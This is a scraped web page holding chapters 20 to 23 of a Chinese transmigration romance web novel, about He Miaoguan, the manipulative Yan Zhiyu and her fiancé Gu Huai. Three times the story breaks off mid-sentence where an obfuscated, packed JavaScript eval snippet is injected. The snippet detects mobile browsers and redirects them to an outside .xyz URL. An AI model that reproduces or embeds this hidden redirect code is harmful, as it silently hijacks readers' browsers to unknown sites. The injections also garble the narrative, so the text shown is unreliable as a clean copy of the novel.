燕之郁笑笑,把何徵说的话复述过去,又道:“这月徐侍郎生辰宴,刺史大人让我好好准备。” “到时候何小姐能否陪同郁一起前往?” “人家侍郎生日又没有请我,我怎么去。”何妙观觉着好笑,“况且那时候我还要陪蕙仙去玉斋桥。” 他神色低落下来,声音有些发闷:“等何小姐的未婚夫回来,何小姐在顾家的时间,只怕会会更久罢。” “这倒是不会。”何妙观回想起原书的情节,摇头道,“我和顾徊估计会退婚。” 顾徊在得知原主和穆莲的事情后,很快便提出要退婚。 但至于为何没退成,就是古言的常见桥段——不知是谁在二人单独谈话时点燃催情香,待两人清醒过来,才发觉已有夫妻之实。顾徊心中还惦记着娶长安的王侯贵女,气得半死,一个劲骂原主不知廉耻,原主也不是好欺负的,争吵时两巴掌把顾徊扇得脸都肿起来。 两个月后,顾徊骂骂咧咧地穿上新郎官的大红喜服,在洞房时写下一份契约,让原主和他婚后各位各玩的。 彼时的原主早已被杜鹤安迷得神魂颠倒,巴不得顾徊别找自己,一心扑在讨杜鹤安欢心上。 这样恶俗的情节,何妙观坚决不允许发生在自己身上。 即便顾徊不退,她也一定会退掉这桩婚事。 燕之郁费解道:“何小姐同顾公子自小一起长大,情谊深厚,为何要退婚?” “以前是以前,现在是现在,人心总是会变的。”何妙观没有原主的记忆,更没有对顾徊的感情,“如今的顾徊想来早已无意于我,我对他也没有特别的感觉。虽说门第相当,可好好的人生,何必与一个并非两情相悦的人捆绑,最终落得相看两厌。” “原来如此……何小姐想和什么样的人在一起?” 何妙观的脑海中浮现出爸爸妈妈的样子。 他们以前常常被人夸赞是金童玉女、模范夫妻。 妈妈经常说,如果要结婚,一定要找爸爸这样的人。 年幼的何妙观睁大眼睛问妈妈:那是指什么样的人呢? 妈妈笑得眼睫弯弯的,一条一条地说:“首先,家境过得去,我们妙观可是不能过去受苦的;其次,模样要好看,否则早晨一睁眼,看到个歪瓜裂枣,一天都会没心情;还有,人品要好,你爸爸是妈妈见过最有爱心的男人;最重要的,当然是爱你呀,囡囡,只爱一点不行,要非常非常爱……” 可“爱”是虚无缥缈的东西。品性亦可以伪装。 妈妈看得准的,只有前两条。 于是何妙观的择偶观,也只剩下前两条。 “我想和……我才不告诉你!”何妙观双颊微热,扭过头去。 他是谁啊?他对自己的好感度只有十哎! 她宁愿将心事说给守门的仆役听,毕竟他们的好感度尚有二十呢。 “何小姐……”他微微歪着头,打量着她,细碎的头发垂落下来,随着微风轻轻晃动,“不要生再我的气。往后,我都听你的话。你说什么,我便做什么好不好?” 何妙观抬起眼。 如梦似幻的月光照亮他柔美玉白的脸庞。水色潋滟的黑眸,带着无辜的、惑人的眼波,在夜风和花香中,酝酿成带着芬芳的醉意。 他水镜般的眼中倒映着女郎略显慌乱的面容。 “我生什么气……”何妙观别过脸,“我一会还有事。燕郎君,你……赶紧准备引荐的事吧。我信你能成的。” 说罢,何妙观拔腿就想走,衣袖却被他轻轻拽住。 “还有什么要说的?” 燕之郁并未立刻答话,只是静静望着她。片刻后,他苦笑一声,脸上罕见地流露出一丝无奈与认命。 “没什么,只是不明白何小姐为何忽然这样对我。”那张风华绝代的脸上,因为落寞,竟显得黯淡。 “可我没做什么吧?”何妙观疑惑道。 “有的。”静默半晌,他才极轻极轻地吐出一句,“妙观,你在故意冷落我”。 “……你胡说八道。” 冷落相对于亲密才存在。他们之前并未有过亲密,又谈何冷落。 何妙观愤愤地想。 掌心忽然传来微凉的触感。 何妙观垂下眼,怔怔地看着自己的手被他牵起,缓缓上移,最终贴上了他的侧颊。 “何小姐,别这样。”他抬眸望来,眼波盈盈,“若是我有什么不周到的地方,何小姐可以指出来,但不要这么多天都不来寻我,独留我一个人空守房中。何小姐,这些天,真的很难熬。” 鬼使神差地,何妙观收拢手指,使劲一捏。阴柔秀美的脸庞在用力下有点变形,又可笑又可怜。 原来他的脸,触感是这样的。 原来所谓肤如凝脂、吹弹可破,并非虚言。 少年微微一愣,似没有料到她会有此举动,神情有瞬间的僵硬,眉头亦轻轻蹙起。但很快,他唇边浮起温柔谄媚的笑,眼睫弯弯,乌黑的眼眸深不见底,恍若欲海。 燕之郁牵引着她的手,缓缓移向自己的胸前。 他轻声唤道:“何小姐,这里是不是跳得很快?” 指尖下的衣裳单薄,可以感受到下面心脏的跳动。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436744|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙观猛地回过神。 朦胧的月色,扶疏的花影,小径上重叠的身影,以及他克制隐忍的喘息……一切都不对劲。 电光石火间,何妙观骤然想通了一连串的事情。 或许,燕之郁从来不如她所想的那般单纯无辜。 当初他能那般坦然地接受清客的身份,大抵是因为—— 他本就曾以此为生。 唯有如此,那些欲拒还迎的姿态、蛊惑人心的眼波、暧昧不清的蜜语,才能解释得通。 馥郁醉人的桂花香里,何妙观恍惚间又看见他身着雪白寝衣,微微倾身靠近的模样。墨黑的长发披散下来,衬得锁骨与肩颈愈发腻白如玉。拾眸间,便是少年那带着讨好与示弱的眼神,以及那无奈又温柔的苦笑。 他总是不信自己并非贪图美色,他总是担忧若不竭力讨好便会被逐出何府,或许是因为他从未被人正常地善待过。 何妙观想起那段平康村的经历。 没有娘的孩子像棵草,燕之郁小小年纪便失去娘亲,没能树立正确的三观,成为失足少男,并不能怪他。 可她却曾那般对他发脾气。而他总是温言软语,从不曾对她说过一句重话。 何妙观声音哽咽,慢慢抽回手:““对不起,燕郎君,我不知道你以前经历过那些……但你放心,我是不会歧视你的,我、我也不会强迫你的,你放心……” “……嗯?”燕之郁抬起眼帘,眸中尽是茫然。 “真的……燕郎君,你一定要去做官,这样便再无人敢欺辱你,你也不必再做那些事……对,你还要将那些坏人都抓起来,不允许那样的事情再发生……” “不对,就算你没有当上官,我也不会赶你走的,何家也会一直护着你,绝不会再让你被迫做那种事……”何妙观想起电视剧里那种恐怖窒息的场景,越说越心酸,眼泪啪嗒啪嗒地落下来,濡湿鹅黄色的衣襟,“呜呜呜……他们怎么能那样对你呢?他们有没有打你?那时候你疼不疼?” “妙观?” 燕之郁头一次感到手足无措。 他全然听不懂她在说什么,也不明白一个人怎能流出这许多眼泪。 迟疑片刻,他从袖中取出一方干净的素帕,轻声递过:“我没事的。你擦一擦吧。” 何妙观不知哭了多久才停下来,抬起一双红肿的眼,望着他:“我陪你去徐侍郎的宴席。你进去,我就在外头等你。你表现不好也没关系,我会让阿父想办法,让你谋个出路的。” 他看着女郎泪痕斑驳的模样,困惑而茫然。 她是在怜悯自己么? 可刚刚,他好像没有说什么值得人怜悯的话吧? 李循曾赞他善察人心,可这女郎的一言一行,却总让他如坠云雾。 正神游间,腰间忽地被一双柔软的手臂环住。他浑身一僵,愣愣垂眸,只见女郎的发顶和月光下那截雪白的后颈。 从未被人如此拥抱过,他一时不知该将双手置于何处。 片刻后,燕之郁试探着将手轻轻落在她的腰际,以同样的力度回抱住她。 何妙观将脸埋在他胸前,闷闷地说道。 “燕郎君,你这么聪明,一定会前程似锦、风光无限的。” 21.二十一 徐侍郎生辰这日,燕之郁打扮得很隆重。 少年端坐于铜镜前,平日里随意挽起的墨发,此刻被一顶莹润的白玉冠高高束起,显得意气风发。 何妙观左看右看,总觉得缺点什么。 白玉冠虽雅致,终究过于素净。 “你有好看点的簪子么?” 燕之郁拉开妆奁抽屉,里面静静躺着一支堆纱海棠花簪:“只有何小姐送的这个。” “往后你该多置办些。有什么缺的,问张管事就行。”何妙观拿起那支花簪,在他发间比量。 淡粉色的海棠花瓣层层叠叠,做工精巧,尺寸玲珑,点缀在玉冠之侧,为清雅增添一抹秾丽,可谓浓淡相宜。与他身上那件湖蓝色绣金锦袍竟意外地相得益彰。 == 徐侍郎的生辰宴设于望江楼。前来赴宴的皆是扬州府有头有脸的官吏。楼下车马喧阗,香风拂面,一派繁华景象。 何徵宽慰道:“囡囡别担心,侍郎大人素来慧眼识珠,小燕郎君这样有才华,定能得他青眼。” 何妙观想起那个戴幂篱的男人,心底莫名涌起一丝不安。 那人怎么看,都不像好相处的样子。 “徐侍郎若是不喜欢你,也没事。”何妙观不希望给他太大压力,柔声道,“此处不留人,自有留人处,阿父也会有别的办法的。” 囡囡这样说,何徵也只好连忙点头。 吉时将至,何徵作为操办宴席的官员之一,需先行入内打点。 眼见着锦衣华服的宾客们络绎不绝地登楼而上,何妙观紧张起来,竟有一种要进考场的胃痛感。她拉过燕之郁,看看他的白玉冠有没有歪,发丝有没有乱。 “不必紧张,何小姐。”他柔柔一笑。 “徐侍郎若是没有眼力见,我们来日再想其他办法,你信我……” 何妙观心中一急,伸手轻轻捂住他的嘴:“嘘,你不要乱说话!万一被人听到怎么办?” 他的半张脸被她掌心覆住,只余下一双黑亮的眼睛,澄澈地映着她的身影。那眼中先是微微一怔,随即漾开浅浅的笑意。 “一会,你、你尽力就好。”何妙观收回手,掌心还残留着他唇瓣微温的触感,“我等你,到时候我们一同回家。” == 厢房内,身着紫衣、幂篱遮面的青年身侧,早已围拢了不少前来道贺的官员。 “恭贺侍郎大人生辰吉乐。听闻侍郎雅好品茗,这乃是汝窑所出青瓷茶盏,聊表心意……” “这是下官特托人自龙溪携来的松烟古墨,望侍郎笑纳……” 何徵将一个锦盒递到燕之郁手中,低声道:“小燕郎君,烦你将这个呈予侍郎。里面是象牙弹棋。听闻这段时间侍郎对此颇有兴趣。” 燕之郁微微颔首,趋步上前。见他走近,那幂篱青年的身形微微一僵。 “恭祝徐侍郎福如东海,寿比南山。”燕之郁欠身行礼。 “……免礼吧。”幂篱下传来青年低沉的回应。 丝竹声起,宾客依次落座。 这场生辰宴与寻常官宴并无二致,没什么新意。无非是觥筹交错、观赏歌舞,待到酒酣耳热之际,相熟的官员便三三两两聚在一处,借着醉意说些平日不便言说的话。 燕之郁无聊得昏昏欲睡,唯一的乐趣是打量戴着幂篱的青年。青年的话很少,看上去意兴阑珊,只偶尔端起酒杯回酒。 宴席将散时,何徵引着他,向青年所在之处走去。行至半途,穿过三四位松松散散围坐着的中年人,都穿着绯红色的官袍。其中一人正是顾捷。 顾捷拦下他们,不动声色地打量燕之郁,笑道:“文曜,这便是你上回提过的小郎君?果真一表人材呐。哦,犬子估摸这两日便到江都,他今年刚——” “高中探花。”何徵没好气地打断,“顾敏行,你到底要说多少次?” 顾捷嘿嘿一笑,转向燕之郁:“小郎君若有闲暇,不妨与犬子结识一番。” “那自是郁的荣幸。”燕之郁谦谦施礼道。 再向前行,便是先前侍立于幂篱青年左右的两位年轻人。何徵曾多次见过此二人,并非扬州府官吏,他揣测是徐侍郎自长安带来的亲信。 看见他们过来,其中一位年轻人起身道:“侍郎说,让燕郎君一个人进来便可。” 何徵欠身一礼:“劳烦二位。” 转过一道轻纱屏风,是一处清雅茶室。临窗立着一道颀长身影。 燕之郁缓步上前:“见过侍郎。” 被唤作“侍郎”的青年猛地转身,压低声音急道:“公子!” “侍郎这是在说什么呢?”燕之郁抿着唇,忍不住逗道,“怎么这样紧张?” “公子要玩到什么时候?”清泉无奈地摘下幂篱。 “我还有点事,要早些走。”燕之郁笑道,“你们在这多看着点。” 望江楼有一处专供宾客登高远眺的高台。此刻月明星稀,晚风轻柔,立于此处,江都城万家灯火尽收眼底。 燕之郁站在阑干边,垂眸俯瞰楼下街市。卖花灯的、冰糖葫芦的、糖炒栗子的……灯火摇曳,火树银花,所有人的动向,都看得一清二楚。 他的目光最终落在那抹粉衣身影上。女郎手提一盏莲花状的花灯,正快步向望江楼走来。步履匆匆间,衣袖翻飞如暮云,手中的灯影亦摇曳生光。 他单手支颐,暗自期盼她能抬头往这边看一眼。 像是听到他的心声一般,女郎倏然仰起头,视线直直迎上他的,随即展颜一笑,用力挥动手中的花灯。 燕之郁微微一怔,旋即指向楼下,示意自己即刻下去。 他转过身,没走两步,却听到一声冷冰冰的问候。 “你就是燕之郁?” 方才太专注,他竟没发现高台上又来了一人。 这人看上去不过十六七岁,身穿绣着云纹的锦袍,额系绯红的抹额,腰间的玉蹀躞在灯下流淌着绮丽的光泽,一望便知是扬州本地的世家子弟。 燕之郁略一迟疑,出声问道:“顾徊?” 青年显是一愣,随即咬牙切齿道:“你也配叫本公子的名字?” 莫名其妙就开始生气,大概是有什么癔症。 想到楼底还有人等他,燕之郁懒得接话,转身向楼梯口走去。不曾想顾徊猛地拽住他的胳膊:“燕之郁,你就不说什么?” 燕之郁侧过脸,甩开他的手。 “我还有事。你赶紧滚。” “我、我滚?你有什么资格让我滚?”顾徊怒极反笑,“燕之郁,你、你这个不知廉耻的小三!自打我去长安,你、你就一直在勾引何小姐,是不是?我呸,勾引有夫之妇,真不要脸!” 虽然不知道“小三”是何意,但他听得懂勾引二字。 燕之郁眉梢轻挑,含笑道:“爱美之心人皆有之。顾公子长成这样,留不住何小姐,怪不得旁人。”说罢,挑衅地扫视着顾徊,倏尔叹道,“顾公子,生就这般模样着实辛苦,不如早点想个办法投胎转世,我看从这里跳下去便不错。何小姐心善,你死后,我们一定会给你烧纸钱的。” “什么叫、我、我长成这样?啊?”大概是此生从未给人骂过丑,顾徊不可置信地摸起自己的脸,“你、你胡说八道!臭小三,你以为你长得很好看?” 他的目光落在燕之郁发顶的海棠花上,“啧,男的还簪花?真是个变态!” “这花是何小姐送的。”燕之郁淡淡打断,“何小姐喜欢我这样,不可以么。” “……她送的?”顾徊微微一怔,“你——你——你骗人吧?!” “这发式,还是何小姐帮忙梳的。”见他一副失魂落魄的模样,燕之郁又补道。 “你——你——你乱说什么?我、我打你!” 气急败坏的顾徊一拳便朝他脸上砸过来。 燕之郁侧身避开他,顺势抽出顾徊腰间的佩剑。冰凉的剑锋贴上颈侧,顾徊浑身一僵,顿在原地。 “你、你怎么敢——” “顾捷就在楼下,你若是不想他白发人送黑发人,最好乖一点。” 少年的声音冷下来。 “顾徊,今日我心情好,可以不同你计较方才的事。” 顾徊呆呆地看着他,唇瓣翕动,但什么也没说出口。 燕之郁轻嗤一声,把佩剑往地上一抛,发出哐当的声响。 但没走两步,又听到一阵极快的脚步声。顾徊竟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451214|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾一切猛冲而来,将他扑倒在地。白玉冠应声碎裂,散落一地。 第一拳落向他的脸,被他侧脸躲过。 “当小三还有理?当小三还有理?”顾徊一个劲地只往他脸上打,显然是被他之前的话气得半死,“谁允许你勾引别人的妻子?” “哈……你们又没成婚。” 顾徊一愣,随即强辩道:“未婚妻也是妻!我们有娃娃亲的!” 令人烦躁的杀意涌上来,近乎难以控制,他伸手握住冰凉的剑柄。 倏尔,又慢慢松开。 见他不再躲避,顾徊有点困惑,握紧拳头往他脸上砸去。少年的唇角渗出血迹,长发凌乱,沾血的玉面在月光下凄美又诡异,恍若艳鬼。 “你做什么?”一道身影猛地拽住顾徊胳膊,将其拉开。 顾徊觉得这个声音眼熟,停下手中的动作,愣愣地偏过头。 女郎看都没看他一下,蹲下身,用帕子替燕之郁擦拭脸上的血迹。 “何妙观?”顾徊愣愣道。 何妙观心疼地捧着少年的脸。 因为在楼下等很久没见到人影,她才准备上来看看。刚一上来,就撞见这一幕。红衣郎君摁着燕之郁,拼命地打他的脸,而他只是用胳膊遮着,并不还手。 简直是欺人太甚! 凌乱的碎发垂落下来,掩住少年白皙秀净的面容,薄唇因为沾着血格外艳红,竟有些惊心动魄的美感。 她小心翼翼地用帕子点着他的伤口,清理上面的污痕。燕之郁垂下眸,任由她动着。呼吸相交,何妙观的面颊微微烫起来。 “为什么不还手?” “顾公子是小姐的未婚夫。”燕之郁轻声道,垂下眼眸,纤长的睫羽在他的眼底留下一片阴翳,“何小姐,不要因为我,同顾公子生出龃龉,好不好?” 何妙观微微一怔。 原来这个打人的便是顾徊。 本就不高的好感度,这时降至零点,她懒得抬头,冷冰冰道:“顾徊,你无缘无故打他做什么?” “妙观,因为,因为他……”顾徊不敢看她,低着头道,“是他先让我滚的,他还骂我、骂我长得丑……” “何小姐,因为他说这个簪子不好看,还有辱小姐清名,郁一气之下才骂回去的……”燕之郁拉拉她的衣袖,小心翼翼地将一个柔软的物事塞进何妙观的手中,“何小姐,对不起,我也有错,愿意受罚。” 是那一朵堆纱海棠,因为方才的争执,从银簪上掉下来,变成可怜兮兮的一团。 “什么?你再说一遍?你敢发誓?你再说一遍?”顾徊气得眉毛立起来,“卧槽!我长这么大没见过你这种不要脸的人!” 燕之郁垂下眼眸,低声喃喃道:“何小姐,我若有半点虚言……” “他让你发誓你就发誓?”何妙观急忙打断,“燕郎君,我信你的。你说说他都骂了些什么。” 燕之郁把方才的话又添油加醋一番。何妙观的脸色愈发沉下去。 “妙观,你不要听他胡说,就是他先骂我的!”顾徊慌乱地解释起来,“他还拔剑威胁我说要杀掉我!”说罢,指指地上的剑,也开始流眼泪,“妙观,你且信我,不要被他欺骗——” “顾徊,你真的很吵。”何妙观没心情听他说话,“别叫我‘妙观’,我们不熟。” 顾徊闭上嘴。 何妙观看看手中的海棠花,又看看他披散在肩的长发,迟疑片刻后,反手将簪在脑后的一支玉簪拔下来:“先用这个。” “好。”燕之郁温顺地低下头,任由她把长发撩起。先前漠然的神色一扫而尽,眼中唯余温柔缱绻。 顾徊呆呆地看着两人,忍不住道:“妙观,我、我好像才是你的未婚夫……” “哦?你还不退婚吗?”何妙观懒得搭理他。 “退、退婚?”顾徊瞪大眼睛,仿佛听到了什么荒唐事,“妙观,我自小就喜欢你,能和你成婚我求之不得,为什么要退婚?” 何妙观这时才抬起头,打量起顾徊。 视线相撞的那一刻,她的手一抖,玉簪落在地上,发出清脆的响声。 为什么会这样? 他们…… 明明是怨侣啊? 22.二十二 【姓名:顾徊。】 【简介:顾徊,字徊光,出身江州顾氏,官至大理寺少卿。景和七年随长公主李莜、杜鹤安联合发动“景和政变”。永安元年,封淮南侯。】 何妙观记得一清二楚,顾徊和原主,绝非床头吵架床尾和的“假怨侣”。原主死后没多久,顾徊便娶女二端阳郡主周扶摇为妻。番外里,顾徊和周扶摇还育有一女,两人游山玩水,好不快活。 所以,为什么他对自己的好感度会是八十? 何妙观呆滞地望着他亮晶晶的眼睛。 “何小姐?” 何妙观这才回过神。身旁的少年紧咬着渗血的唇瓣,骨节分明的手死死攥着那支摔落在地的玉簪。 “小姐方才……一直在看他。” 耳边响起他低低的质问,语气含着恨意。只是他声音太轻,如同湖心波纹一般,转瞬即逝,让何妙观不由疑心是否是恍神的错觉。 应该是幻听吧。 此刻的他,神情温顺无辜,潋滟的黑眸含着水色,我见犹怜。 何妙观抬手,轻柔地为他梳理散乱的长发。柔软的发丝如水般流过指缝,在她灵巧的指尖下,被绾成一个略显随性的斜髻,垂落肩侧。她又从他掌心取过那朵揉皱的堆纱海棠,踮起脚尖,小心翼翼地别在他的发间。 夜风拂过,海棠花颤巍巍地摇晃着,还是飘落下来,如同落叶般。 燕之郁抬手轻轻抓住。 “下次再买一个。”何妙观看出他的不舍,温言笑道,“多买点颜色。” 他端凝着掌心的残花,淡淡道:“找个人修一修,来日还能用的。” “嗯。那我们先回家吧。” 燕之郁点点头,旁若无人地经过顾徊,捡起滚落在地的莲花灯。 直到此时,僵得如同石头一般的顾徊才缓过神,急道:“妙观,你不能这样对我,我才是你的未婚夫。方才……方才是我冲动,我认错!可是、可是他……” “顾公子。”何妙观淡淡瞥他一眼,“有什么话改日再说。” 顾徊咬咬牙,固执道:“不行!妙观,我要和你一起回去!” == “这个叫玉容膏,可以淡化瘢痕。每日敷三次。坚持五日,伤口便不会留疤。还有,小郎君,这些个月记得少吃辛辣和发物。” 老郎中走后,屋内只余两人。 燕之郁单手托腮,幽怨地望着她,黑眸沉沉,一言不发。 适才在望江楼闹得动静太大,把不少人都引了过来,包括何徵和顾捷。 顾捷自觉颜面尽失,勒令顾徊回家反省;何徵则打起了圆场,说什么“不打不相识”,又道,既然囡囡与顾徊久未见面,不如顺了顾徊的意,让他来何府小住一日也无妨。顾徊一听,立刻死缠烂打地跟着他们的马车回来。 此刻,何徵与顾徊仍在正堂等候她过去。 “阿父非要让他跟着,我没办法。”何妙观叹道,“燕郎君,你且放心,我有是非之分,绝不会给他好脸色看的。” 燕之郁依旧抿着唇,长眉轻蹙,可怜巴巴地望着她,差不多是把“你再哄哄”这四个大字写在脸上。 “不若这样,明早我让顾徊给你道歉,你趁着那时候,再打他一顿?”何妙观小声斟酌道,“我可以命人按着他,保准他没办法还手……” 少年闻言,不由莞尔。柔如春阳的笑容绽开,点亮他略显苍白的容颜,风华无限。 “这倒是不必。”燕之郁轻笑道,“只希望何小姐明日不要去顾家,多陪陪我便好。” “那是必须的。”何妙观一口答应,“明日我陪你去挑发簪,哎,你都没多少好看的发簪。” 何妙观走后,他起身坐在铜镜前。 镜中人面色苍白,发丝凌乱,眸中透露出倦怠。淡红的伤痕从他的唇角延展出去,化作诡异的笑。 顾徊显然不怎么会打架,发力方式笨拙,他所受不过是皮外伤而已。 大部分的血,是他自己咬破唇舌弄出来的。 女郎心肠柔软。流一点血,便比任何辩驳的言语都有效。 只是他没有想到,何妙观确如流言般朝秦暮楚。明明当着他的面,她却兀自望着顾徊那样久,痴痴的模样,显然是还惦记着这位少年时期的旧情人。 顾徊,穆莲,他,或许还有其他不知名的裙下臣…… 良久,燕之郁轻笑一声,唇畔漾着无谓的笑。 不过是逢场作戏而已,他又何必在意。 更何况,这些时日的谋划颇有成效。即便面对青梅竹马,她仍愿偏袒他这个相识不过数月的人。如此下去,至多一年半载,他必能让她心甘情愿地道出幕后主使。 思及此,他心情大好,坐在案前批阅起公文。 直至案头灯烛燃尽。 转眼已是子时。 清泉走进来。 “说。”燕之郁一边整理批阅好的文书,一边漫不经心道。 “回公子,何小姐和顾徊,现在还在聊。”清泉低声道。 燕之郁手中的动作微微一顿,抬起眸:“还在聊?” 清泉也觉得奇怪:“本来何小姐气冲冲的,但顾徊不知说了什么,何小姐便让他到房间里慢慢说……公子,属下要继续去听么?” == 两刻钟前,正堂。 “囡囡,你和阿徊许久不见,正好叙叙旧。” 何妙观看着坐在何徵对面,不敢看自己的红衣郎君,没好气道:“我和他没什么好说的。” 顾徊低着头,小声道:“妙观,你听我解释,方才是我一时没克制住。但那个燕之郁可是插足你我感情的小三。妙观,你就体谅一下我好不好,我当时只是——” “小三是什么?”何徵微微一愣,“囡囡啊,你们年轻人说话,阿父怎得有点听不懂。”说着,摇头叹起气,“是阿父年纪太大么,哎,不中用、不中用……” “何刺史,小三就是、就是第三者,不对……”顾徊结结巴巴地解释着,“就是姘头的意思。只不过长安城的人,习惯这么称呼。” “这样啊。”何徵摸摸胡须,“不过你同囡囡还未曾订婚,就算有别人插足,也算不得姘头啊。” “何刺史,我和妙观成婚,是迟早的事。”顾徊信誓旦旦道,“毕竟我们——” “顾徊,你别在阿父面前胡说八道。”何妙观瞥他一眼,“你过来,我有话同你单独说。” == 厢房内,顾徊局促地坐在桌案边,依旧低垂着头。 “把头抬起来。”何妙观觉得一直对着黑漆漆的头顶讲话,实在不舒服。 顾徊犹豫半天,才抬起脸,小心翼翼地看着她。 “干嘛用这种眼神。”何妙观觉得好笑,“我会吃人吗?” “不,不会……”顾徊咬着嘴唇,小声道,“妙观,我长得很难看吗?” 顾徊剑眉星目,笑起来唇角还有浅浅梨涡,是典型的意气风发少年郎的长相。 何妙观想起他打过燕之郁的事,故意道:“嗯。是有点丑。” 顾徊的头又耷拉下去。 “好啦,你长得很好看。赶紧把头抬起来,我有话问你。” “真的?”顾徊抬起头,不好意思地笑起来,“你问吧。” “顾徊,小三这个词,你从哪里学的。” 顾徊的眼神飘忽不定,支吾道:“是、是长安一个老先生教给我的。” 何妙观微微颔首:“他叫什么,可以告诉我么?” “这、这……对不起,妙观,其实是我梦见的。” 何妙观心下已有三分猜测,只笑着继续问道:“你为什么一定要和我成婚?” “因为、因为我喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456647|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你啊。”顾徊嗫嚅道,“我们是青梅竹马。” “我好奇的便是这个。我们已数年未见过面,即便是儿时情谊,如今也消磨得七七八八。再说,你若是真的喜欢我,怎么会这些年从不写信?” 顾徊答不出来,嘴唇轻轻颤着,半晌,才解释道:“因为一些原因,我没办法写信。妙观,你且信我,这么多年,我的心从未变过。我是真的喜欢你。” 好感度摆在眼前,何妙观不得不信这句话。 “你没听过这些年我干的事么?” 顾徊耳垂红起来,有些不自在:“那些事……我自然不信的。我知你不是那种人。” 何妙观轻叹一声:“怎么办呐,那些都是真的。而且,今日你也见到,我和燕郎君……” “不是不是,都是他勾引你……”一听到这个名字,顾徊便咬牙切齿,“妙观,现在我已经回来,你让他离开何府好不好?” “为什么让他离开?他长得好看,性格又温柔。方才他还让我他不要生你的气,多懂事。” “他、他都是演出来的。妙观,你不要被他蛊惑……”顾徊着急道,“绿茶就是这样,他们很会演的!人前一副样子,人后一副样子,他拿剑指我的时候,说的话好恶毒!” “绿茶又是什么?”何妙观瞪大眼睛,无辜地望着他。 “绿茶……绿茶是……”顾徊一时语塞,“是我梦里学的,就是说……” “顾徊,你真的是从长安来的么?”何妙观轻笑一声,问。 顾徊呆呆地望着她,半晌,后知后觉道:“妙观,你、你也是穿进来的!”不等何妙观作答,他又欣喜若狂,“你、你是何学姐,对不对?呜呜呜……我见你第一面就纳闷,你怎么长得和何学姐一模一样,呜呜呜……你果真是何学姐……呜呜呜,真好,还能遇见你……” 很久没被人叫过“何学姐”,何妙观有些无措。 顾徊哭得一把眼泪一把鼻涕。 何妙观叹着气,给他递过去一张手帕,道:“你擦擦,我还有点事情想问。” 顾徊连忙抹掉眼泪:“嗯!你问吧。” “你之前认识我?” “对。何学姐,你可能不认得我,但我认识你。”顾徊有点害羞,声音低下去,“比你低一届,是网球队的。每次中午打球,我总看见你在树荫下看书,然后、然后有一回,我的球落到你脚边,是你捡起来递给我的,从那以后,我就、我就开始关注你……你很优秀,名字也很好听,我总是在学校的各种获奖名单上看到你……” “然后、然后有一天下暴雨,我没带伞,你正好经过,我便问你能不能和你一起走一段路,你说可以,你和我说话时很温柔,那时候我就、我就……” 何妙观对这件事情有印象。 当时明明只是顺路把一个学弟送到保安亭,没想到,学弟第二日便托人送来一支派克钢笔作谢礼。她觉得太贵重不能收,但又不知道学弟叫什么,只好一直把那支钢笔放在书包里,方便下次遇到的时候还回去。 看着顾徊脸上的绯红,何妙观猜到他的心思,亦生出些不好意思。 “那你,是怎么来到这里的?” 顾徊沉默片刻,轻声道:“下雨天,走得太快,不小心滑倒磕到了后脑勺,很丢脸吧。” 何妙观一时无语,只得道:“以后走路小心点。” “学姐呢?”顾徊犹豫着问道。 “被我弟推下楼,然后就……好吧,也挺丢脸的。” 顾徊听闻,气愤地攥紧拳:“他们都说你是自己失足摔下去的,可我就知道有隐情!” 何妙观从他口中得知,自己出事后,警方的调查结果是意外摔伤,而周子叙,则因受到惊吓的原因转到国际学校,为明年出国留学做准备。 “顾徊,你的‘那个’是什么?”何妙观又问。 23.二十三 “哪个?”顾徊面露不解。 何妙观抬手指指上面。 她不希望再因为透露“系统”的存在,而被强制弄晕过去。 顾徊会意后,双颊瞬间飞红,支支吾吾了半天,一个字也说不出口。 “不会和我有关吧?”何妙观试探着问道。 顾徊再一次低下头去。 “你告诉我,若是我力所能及的,我便帮你。你也能早点回去。”何妙观认真道,“你家人……他们应该很担心你。” 顾徊这才抬起脸,小声道:“我的‘那个’是,维护我和你的感情线,确保我们能……顺利成婚。” 何妙观的脸唰地红起来,强作镇定道:“呃……只有这个,没有别的要求吧?” “啊……”顾徊呆呆地应一声,后知后觉地明白所指,脸色红得近乎要滴血,“没有、没有!我问得很清楚,只要结为名义上的夫妻就行,没有其他的要求。” 何妙观“哦”一声,细细思忖着。 若是顾徊说的任务如实,倒也不算复杂。他只需说服顾家提亲便是。 而何府这边,想来不会有太大阻力。 “学姐,你的呢?”顾徊又问。 “我的是阻止燕之郁黑化。”何妙观叹着气,“不能让他伤害男主。” 